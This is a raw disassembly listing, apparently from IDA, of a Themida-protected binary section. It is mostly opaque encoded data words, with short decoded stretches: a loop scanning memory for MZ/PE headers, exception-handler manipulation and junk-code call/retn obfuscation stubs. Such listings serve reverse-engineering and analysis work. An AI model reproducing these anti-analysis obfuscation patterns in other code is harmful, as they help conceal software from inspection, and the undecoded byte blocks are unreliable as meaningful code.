		dd 8B7AB27Bh, 0F793BB00h, 448934F1h, 8EB90424h,	58763EA3h
		dd 3281952Bh, 0F48A060Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0DA4904C3h, 95FF2DBDh
		dd 60B0B71h, 8589F1B3h,	60F17E7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 1CC35545h, 0F899255Bh, 21419531h
		dd 0F78A060Bh, 0BD8B006Ah, 60B005Dh, 865668h, 665250CAh
		dd 310FDE8Bh, 6E2D33BFh, 81585A14h, 79AA2404h, 0FEB53600h
		dd 89595350h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 58FC65C3h, 63D328A0h, 0FCBB6671h
		dd 600B6A12h, 23F08166h, 9E43BE5Ch, 8D613CA5h, 0F17B485h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0B6ADA348h, 509BDA77h, 0FE9C8F4h, 71000000h
		dd 95D56397h, 408D980Eh, 0A2B796B1h, 0CE8B1681h, 89CB8A50h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0A07D2EC3h, 0E94F02A7h, 0Eh, 14020A3Ch, 0ABE67AC5h
		dd 99C95256h, 95FFCD54h, 60B31C5h, 0EF2CB0BFh, 2ECA8145h
		dd 8D57A806h, 0F17BEB5h, 0F58D8B06h, 66060B19h,	5096D18Bh
		dd 59BDBA52h, 310F47C9h, 3846BF66h, 8B50585Ah, 0B96696FAh
		dd 4FBABF84h, 5023E765h, 11C6B860h, 0FA8B061Dh,	24048961h
		dd 14DD9523h, 95FF060Bh, 60B13D1h, 0B119D8Bh, 0DD80060Bh
		dd 0E9D0FF25h, 8, 0DD35616Eh, 422E3A5Ah, 17E7B58Bh, 0BF0F060Fh
		dd 0DF85C7FAh, 60F17h, 8B000000h, 0B2DE58Dh, 95896006h
		dd 60B15E9h, 0D8D7F6B8h, 7E80610Ah, 840F0020h, 394h, 2A8DB589h
		dd 6A60060Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 710AC351h, 414788D7h, 0FE8B9ED8h
		dd 6A20468Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 86FC351h, 6F4ADB3Ch, 70B9F773h
		dd 89456103h, 0F17E385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0CA3C8997h, 179D7BC8h
		dd 8166788Eh, 6683EAE7h, 0AEB5E281h, 26E9F8h, 0BD090000h
		dd 60B1F41h, 52006A40h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 2DF2F870h, 0F003880h, 0FFFFD785h
		dd 1F860FFFh, 0E8000000h, 13h, 0E0997DF1h, 0F59ABE0Bh
		dd 21023972h, 8C20FED8h, 89C36B70h, 0B184D95h, 24E95B06h
		dd 0F000000h, 6A48DEBFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0CBCFC351h,	80DEB70Fh
		dd 840F5C38h, 77h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 1CC35747h, 0AE900h, 35F90000h, 1384DC65h
		dd 886214D1h, 0FF0E04BAh, 2F388046h, 3D840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 49D03DC3h, 68D0F5Eh,	89000000h, 0B0BDD95h, 0E3853B06h
		dd 0F060F17h, 0FFFF6583h, 599D8BFFh, 40060B1Ah,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9CC35747h, 17EBBD83h
		dd 0F00060Fh, 0BD84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0FFF3497Fh, 0F045B5Dh
		dd 680h, 0DAD28100h, 503C5CF0h,	0DE8h, 0AA450E00h, 1E6D034h
		dd 1DDA2920h, 0BA667DEFh, 895B5B25h, 0B70F2404h, 3D0B5FBh
		dd 0F17EB85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 99D8B7Ch,	89060B02h, 0B1F8595h, 0C606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EBC35141h
		dd 0B48B8753h, 0FE8h, 0AA87FC00h, 0C78002FEh, 0C57F02F7h
		dd 60CB0C33h, 585AB8B6h, 1FC9BD01h, 8950060Bh, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 614CD8C3h, 0E957D0EBh, 6, 0F786DB78h, 0BF0FF0FBh, 0D7B5FFD7h
		dd 6A060F17h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h
; ---------------------------------------------------------------------------


loc_57E300:				; DATA XREF: Themida_:0053E900o
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 654Fh
		dd 0A618536Eh, 13E9h, 9ACB9E00h, 0C8FC970h, 952ED7E7h
		dd 5BCE7009h, 4E0E335Fh, 17DB95FFh, 0B650060Fh,	0C00B5924h
		dd 4D850Fh, 8D8B0000h, 60B211Dh, 50B96661h, 0C18166B3h
		dd 85C7F52Eh, 60F17DFh,	1, 183D8D33h, 75E9060Bh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A049C350h, 0DD2BF933h, 71BD0B20h, 61060B0Eh
		dd 81CAB70Fh, 11CC6h, 2DBD0900h, 0E9060B09h, 0FFFFFC9Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 99C35040h
		dd 0E8D5A992h, 0Dh, 9C0DFF23h, 4DC6A985h, 337E1B96h, 398D29FFh
		dd 5B060B2Fh, 801F6968h, 128E0F00h, 0E8000000h,	0Ah, 0D644025Ah
		dd 6C2E7C34h, 5B5647D3h, 2434815Bh, 809F69h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h, 0BA449A37h
		dd 6DAF9A3h, 8D89006Ah,	60B0F2Dh, 17E7B5FFh, 0E580060Fh
		dd 7595FFC1h, 0F060B19h, 858BD7BFh, 60F17DFh, 0ACC98CB9h
		dd 9E9900Bh, 3000000h, 71EF014Fh, 74942902h, 28F0F50h
		dd 8A000000h, 958990D3h, 60B20C1h, 17EF858Dh, 0B760060Fh
		dd 0F9B58B6Ah, 61060B23h, 50D38B90h, 57006A90h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 47968122h
		dd 5DF2814Fh, 8D6B8EDAh, 0F17AC85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 5090F396h
		dd 6A90DA8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0CC07C352h, 0F0E38ED0h, 0B9B5894Ah
		dd 0FF060B0Fh, 0B21ED95h, 8BEE8A06h, 0BE9C0h, 0BA580000h
		dd 0E171D12h, 0B8A28C0Ah, 0BDBD833Dh, 60B05h, 0BD830975h
		dd 60B29D1h, 50137400h,	0B8C08B53h, 4D0h, 0B1559D8Dh, 0D3FF060Dh
		dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h
		dd 60DB054h, 585BD3FFh,	4359529h, 8F0F060Bh, 2,	6A33B6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0CCE76BC3h, 8B2DD180h, 4840FC0h, 66000000h, 58E0FBB9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 60C35040h
		dd 5E8h, 0EFCFB300h, 0E1810F1Fh, 1AD08BB5h, 8C25Bh, 0CAB1C381h
		dd 0C08B4135h, 32B99D8Bh, 858D060Bh, 60F182Eh, 0B7D1C281h
		dd 858968C7h, 60B0781h,	0E0000BAh, 0EA81F0h, 83F00000h
		dd 958914C2h, 60B2065h,	8D14EA83h, 0F25CA85h, 0FF645006h
		dd 35h,	25896400h, 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_57E601:				; CODE XREF: Themida_:0057E623j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_57E61E
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_57E628


loc_57E61E:				; CODE XREF: Themida_:0057E606j
		sub	eax, 1000h
		jmp	loc_57E601
; ---------------------------------------------------------------------------


loc_57E628:				; CODE XREF: Themida_:0057E618j
		mov	ecx, eax
		mov	[ebp+60B159Dh],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+60B17B5h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+60B0C69h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+60B1B95h],	edx
		add	edx, [eax+8]
		mov	[ebp+60B2E01h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_57E681
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_57E681:				; CODE XREF: Themida_:0057E669j
		cmp	dword ptr [ebp+60B2715h], 0
		jz	loc_57E6B2
		mov	byte ptr [ebp+60B2845h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+60B1355h]
		lea	eax, [ebp+60E7D18h]
		call	eax
		push	0
		call	eax
		mov	[ebp+60B0E25h],	eax


loc_57E6B2:				; CODE XREF: Themida_:0057E688j
		mov	edx, ebx
		pusha
		push	0
		push	edx
		call	sub_57E6C0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57E6C0	proc near		; CODE XREF: Themida_:0057E6B8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57E6C0	endp

; ---------------------------------------------------------------------------
		lahf
		jmp	loc_57E6E4
; ---------------------------------------------------------------------------
		dw 9AB8h
		dd 2AE11BAFh, 33D8DCF9h, 9D629391h
; ---------------------------------------------------------------------------


loc_57E6E4:				; CODE XREF: Themida_:0057E6D1j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_57E6F1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57E6F1	proc near		; CODE XREF: Themida_:0057E6E9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_57E6F1	endp

; ---------------------------------------------------------------------------
		db 64h,	9Fh, 0BBh
		dd 0BDBD83F3h, 60B05h, 0BD830975h, 60B29D1h, 50197400h
		dd 0B8C08B53h, 438h, 2A358589h,	9D8D060Bh, 60DB31Ah, 585BD3FFh
		dd 29D1BD83h, 7400060Bh, 0B8535017h, 438h, 2A358589h, 9D8D060Bh
		dd 60DB009h, 585BD3FFh,	0BC99D89h, 6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 14E9FFC3h
		dd 0A7000000h, 0ED9FC65Bh, 1D0D6612h, 266AA778h, 0AA93998Eh
		dd 8B995C92h, 1810FC0h,	0F8000000h, 7EDE8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0FC6515CDh, 8928A058h, 0B0419B5h, 0DD858906h, 6A060B1Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 97CCC356h, 0F823B354h, 11E9AFh, 60620000h
		dd 9F1AE1EBh, 27E08D1h,	8FB8F400h, 0E83DBA85h, 782h, 10159D29h
		dd 8D8B060Bh, 60B1571h,	1A498589h, 0BD33060Bh, 60B28EDh
		dd 765E8h, 0C9B70F00h, 19C98589h, 6A060Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C042C1C3h
		dd 40A0006Eh, 0B52994CAh, 60B092Dh, 54A8DE81h, 27E83415h
		dd 6A000007h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 1E5C353h, 0B12E18Dh, 7D858906h
		dd 6A060B1Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0DFA5C355h, 0A62FC6EBh, 21D8D09h
		dd 0D3E8060Bh, 0E9000006h, 0Ah,	0D26EE275h, 0DBDF157Fh
		dd 8589A7CFh, 60B2A41h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0DBC35242h, 3250583h,	0D975C2BEh, 694E8C1h
		dd 8D290000h, 60B0F41h,	27058589h, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 29851CC3h
		dd 0FEBEE7B5h, 0E8235667h, 65Eh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 6FC35646h, 65B589FCh, 89060B22h
		dd 0B1AA985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 4EA252B9h, 3CC8A546h, 0F78B6657h
		dd 608E85Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 2F28BCC3h, 0A07C26C8h, 5E864ACh
		dd 0C2000000h, 0C6B52EB7h, 5FCF8B66h, 1058589h,	11E9060Bh
		dd 71000000h, 0A9A173C1h, 7A09DDAh, 3AEB0300h, 811E12F5h
		dd 5B5E8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 318589DBh, 0BE060B1Ah, 17035366h
		dd 0FE8h, 50612300h, 9A3A6EDAh,	1A8DC29h, 1A03E192h, 2AADBD8Bh
		dd 0E859060Bh, 56Eh, 9E9h, 1ECB3200h, 7F678B18h, 85893090h
		dd 60B0ED9h, 318D8Bh, 4FE8060Bh, 0B000005h, 0B29E5BDh
		dd 55858906h, 66060B23h, 3BE8F88Bh, 66000005h, 5FDFE981h
		dd 21D98589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 9EF94CC3h, 57C78166h, 508E8C5h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 634A77C3h, 0F1D3369Eh, 10E9h, 6ADB9C00h
		dd 581D2D12h, 3C5D26DBh, 6C53225Eh, 8D8589C6h, 60060B1Fh
		dd 0BE951h, 9F380000h, 405BD92Fh, 193340FFh, 0C78B5F5Ch
		dd 4B0E861h, 85890000h,	60B0FD5h, 5719509h, 9FE8060Bh
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 6665C357h, 54F68166h, 0A5858908h
		dd 6A060B0Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 7189C357h, 0B4829C94h,	0CDBD8B1Bh
		dd 0E8060B32h, 44Ah, 96DE8166h,	0A985892Fh, 6A060B12h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 7CBBC356h, 51F65667h, 13E857h, 0B3360000h
		dd 2891C685h, 9E1E59AAh, 0B308EC0Bh, 6D335417h,	0B05FF86Dh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 1D8D2310h, 60060B24h, 0F580F98Bh, 0B60F6115h
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 6BADFh, 0BD8B0000h, 60B21C1h, 8BFBB70Fh
		dd 95C5BFC3h, 0E8C114D2h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 922A806Fh
		dd 5D434BDCh, 8AEE8166h, 0E2F76663h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 4C35545h, 23CE08C1h, 0C781ABE5h
		dd 1CAB9D04h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 49701AC3h, 8E850h, 0EC280000h, 29622717h
		dd 6650F8B4h, 5E59F78Bh, 6A241C89h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8925C357h
		dd 0B13FD8Dh, 0ED95FF06h, 5B060B18h, 12E9h, 0B7243D00h
		dd 0E082D050h, 3028879Ah, 0BC0CD60Ch, 66D0E3AEh, 958DCB8Bh
		dd 60B182Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F8C35343h, 39361445h, 0E26EA8Eh, 2860FABh, 8B000000h
		dd 0BE1A89F1h, 5D07294Eh, 89F78B66h, 7DBE0442h,	89785670h
		dd 0B31559Dh, 1D958D06h, 0F060B04h, 180h, 1A89F900h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h, 29B5899Ch
		dd 89060B04h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0D204B7C3h, 7E1C510Dh, 958DC88Bh
		dd 60B2075h, 33499589h,	13E9060Bh, 87000000h, 1A8E298Ch
		dd 139D9F76h, 1BA20158h, 31B021EAh, 1A89FFB5h, 19B58960h
		dd 0E8060B07h, 0Ch, 7CB0363Dh, 0BAA4918Ah, 899F4206h, 5EC88B66h
		dd 0FE961h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah
		dd 44289DDh, 958DF38Bh,	60B15E1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 3AC35242h, 0DEA0FE58h, 5E91040Ch
		dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E0CDA9C3h, 3467FA3Fh, 0B589A0DFh, 60B15C9h
		dd 6A044289h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0EABFC353h, 0A5EC56FDh, 8B536036h
		dd 0B04198Dh, 858B5F06h, 60B04B5h, 0D58D3361h, 8D060B26h
		dd 0B042D95h, 80BE6606h, 661A8907h, 3415C181h, 3044289h
		dd 0B0FBDB5h, 12E806h, 0D6570000h, 862BAC35h, 78802DC7h
		dd 0D3233C30h, 8B1A358Ch, 1FADB58Bh, 8D5F060Bh,	0B2A1D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0E960825Ah, 9, 0AC9ACFB8h, 9DB80286h, 29958B46h
		dd 61060B2Bh, 0BF0F1A89h, 44289F6h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0EC35545h, 1FCA6EAh, 0B120D8Dh
		dd 39958D06h, 29060B21h, 0B2881BDh, 6A1A8906h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 68F2C353h, 2061BD8Bh, 4289060Bh, 318D8B04h
		dd 8D060B00h, 0B329195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0A63430E0h, 0E7E1CE96h
		dd 6A1A8912h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 79C4C355h, 0CB8DE535h,	837FD023h
		dd 0C5B96660h, 0D185014Ah, 61060B21h, 0E9044289h, 95h
		dd 10218D8Bh, 6A060Bh, 127DBD89h, 6A060Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 39C35040h, 0E88A7D68h
		dd 22418501h, 6A060Bh, 0F162CABFh, 6A006A72h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 1BF1C351h, 0FFF38BD3h, 0B27A595h, 6AC306h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 542FE4C3h
		dd 1E1D438Bh, 15B50B3Ah, 81060B2Fh, 0DDEDA7D7h,	6AC58A27h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8947C356h, 0B03A98Dh, 6AC08B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0A9FFC356h, 0BE9h, 91082A00h, 0E4C6DE9Ah, 0B2B5B248h
		dd 1415B533h, 0BD83060Bh, 60B05BDh, 83097500h, 0B29D1BDh
		dd 19740006h, 0C08B5350h, 438B8h, 99858900h, 8D060B12h
		dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h
		dd 438B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h
		dd 0D9BD8B58h, 6A060B2Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2762C356h, 0F8D12F87h
		dd 58C0Fh, 81660000h, 8BC280E6h, 0A9858DC0h, 6A060B28h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 7EB3C351h, 6F55F49Bh, 50DE8B66h, 8E9h, 27530B00h
		dd 42C7652Eh, 24048996h, 0B971E781h, 6A48DBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4FC35141h, 6A2CD8h
		dd 8E9h, 0B4BE1D00h, 158895D7h,	7D858D32h, 6A060F32h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 3311C352h, 0B0311BDh, 81666006h, 0B5CD21F2h,	0BD8B614Ah
		dd 60B2069h, 6605C083h,	1ECFF781h, 0D88B5250h, 2404895Fh
		dd 2A298509h, 6A060Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 7BC35141h, 28E81EAh, 0E9334170h, 14h
		dd 3273BC9Fh, 11929170h, 0DD8EA212h, 488ADDA5h,	0E4BCA268h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0B44A7EC3h, 0DC969443h, 9589CDAFh, 60B1B79h
		dd 2195FFF5h, 0E9060B2Fh, 0Bh, 0E75F6FE6h, 3D706EF0h, 8D372EA9h
		dd 0EA7B08Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 13E8CCF0h, 0EB000000h, 0BAE7F977h
		dd 17F67467h, 0C0B43181h, 79731960h, 8589B9BAh,	60B2D89h
		dd 6AD1FF5Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 454CC352h, 6655A330h, 0A20EE381h
		dd 0B19BD83h, 0F01060Bh, 8085h,	71BD2300h, 6A060B31h, 0BE802h
		dd 1AFD0000h, 0B7ED6243h, 0ADC39C23h, 0B1BD09D6h, 5B060B32h
		dd 0FE95790h, 8F000000h, 623C6197h, 284ABAE0h, 3DE9E3BDh
		dd 505B38A8h, 0BF665250h, 310FB4F8h, 6AB96660h,	48B86641h
		dd 585A6167h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 42E7D104h, 3100E5F6h, 0B03D58Dh
		dd 1595FF06h, 0B060B0Fh, 0B2B61BDh, 0C9CE906h, 0E80000h
		dd 5D000000h, 3287ED81h, 8509060Fh, 60B16B9h, 10759D03h
		dd 858D060Bh, 60E9293h,	90ADDF80h, 10E95360h, 63000000h
		dd 39570609h, 0A5190ABDh, 994116D1h, 5A8FCE5Ch,	3274BF60h
		dd 47BB4FBBh, 6140B5E7h, 52505061h, 6860Fh, 840F0000h
		dd 0
		dd 0BF66310Fh, 585A266Eh, 11B58990h, 64060B1Ah,	35FFh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0DDEA9FC3h, 0D52A9569h, 89E5B396h, 0B24B9BDh
		dd 25896406h, 0
; ---------------------------------------------------------------------------
		jnp	loc_57F3CE
		mov	di, 5111h


loc_57F3CE:				; CODE XREF: Themida_:0057F3C4j
		inc	dword ptr [ebp+60B066Dh]
		push	0
		push	eax
		call	sub_57F3DF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F3DF	proc near		; CODE XREF: Themida_:0057F3D7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_57F3DF	endp

; ---------------------------------------------------------------------------
		db 77h
		dd 8B70412Fh, 0B20C1BDh, 0FFFF6A06h, 0B1ADDB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 896A5653h, 0B07F99Dh, 1195FF06h, 0E9060B24h,	10Fh, 0F800Fh
		dd 0AE90000h, 0D1000000h, 0FD06FFD6h, 68B15A5Ah, 0E600B0A5h
		dd 0CB816670h, 71E4D522h, 0A5DF8166h, 0F613C2Ah, 0E283h
		dd 0BE900h, 262E0000h, 2E599ACAh, 0CA7C70A7h, 0C8B60F08h
		dd 6BAh, 89C18B00h, 0B2E49BDh, 4E8C106h, 7E9h, 55D1900h
		dd 13C51Fh, 8BE2F766h, 0B33819Dh, 80C82B06h, 0D18BCDD7h
		dd 28D0Fh, 0FE8B0000h, 6E9h, 518D8900h,	8B060B02h, 0B182D85h
		dd 71BD8906h, 29060B0Ch, 0B27ED8Dh, 7C08306h, 0E1B50360h
		dd 66060B2Ah, 8361F88Bh, 0D98B00C0h, 830FD03Bh,	16h, 6E9h
		dd 0D1829300h, 0E90FB675h, 53h,	7199D8Bh, 8D8B060Bh, 60B2A9Dh
		dd 83F88B66h, 840F01E1h, 3Bh, 9E9h, 8EB1E800h, 414DD3F2h
		dd 3DBF7266h, 83766B1Dh, 0B2A9DA5h, 0FE9FE06h, 8E000000h
		dd 89E96765h, 832C86AEh, 9DF9ED24h, 9589C81Dh, 60B182Dh
		dd 0E9E1B7h, 8D000000h,	0EBDD2B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0F781229Ah
		dd 4D5772ABh, 11E9006Ah, 45000000h, 85DE0BC0h, 0F729B743h
		dd 6EDDE124h, 5301CB7Bh, 32DD95FFh, 6A060Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB48BC3h
		dd 713B9FEh, 0BF660000h, 0E183F3E7h, 28C0FFCh, 8B000000h
		dd 870FFCD9h, 6, 65B589h, 0BD8B060Bh, 60B0E79h,	0B8h, 8BFB8B00h
		dd 0B2961BDh, 66D22B06h, 33ADFE8Bh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0A97D41C3h, 0CE424F6Eh, 9D8B9815h, 60B0791h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5FC35141h
		dd 0D9BBBD30h, 880D869Fh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 88D7C353h
		dd 9ED84147h, 0DE9h, 30031700h,	0CD4951h, 0BBE30789h, 8D894977h
		dd 60B1021h, 174D958Bh,	6A060Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 6A3BC7C3h, 0BF0FB7F2h
		dd 49BD09FBh, 8B060B20h, 0B01198Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0DE8F9h, 0B0FE0000h
		dd 36A02634h, 0D4688AFDh, 5F8EE5DCh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF665818h, 0BD83D77Dh, 60B29BDh
		dd 6C840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0B8F9C350h,	0
; ---------------------------------------------------------------------------
		mov	[ebp+60B0DC9h],	esi
		lea	ecx, [ebp+60B4DD7h]
		push	0
		push	edx
		call	sub_57F733
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F733	proc near		; CODE XREF: Themida_:0057F72Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_57F733	endp

; ---------------------------------------------------------------------------
		db 82h
		dd 66C935Bh, 0AF66549Ch, 7E9B7h, 5F60000h, 61DE4F3Ah, 8CF38145h
		dd 0FF394FBAh, 41B529E1h, 83060B03h, 0B1009BDh,	840F0006h
		dd 380h, 8199D89h, 0BF60060Bh, 45F09BD7h, 61F0B70Fh, 1009BD83h
		dd 0F01060Bh, 37E84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0CF374063h, 5890F43h
		dd 60000000h, 61EFE280h, 1009BD83h, 0F03060Bh, 31086h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
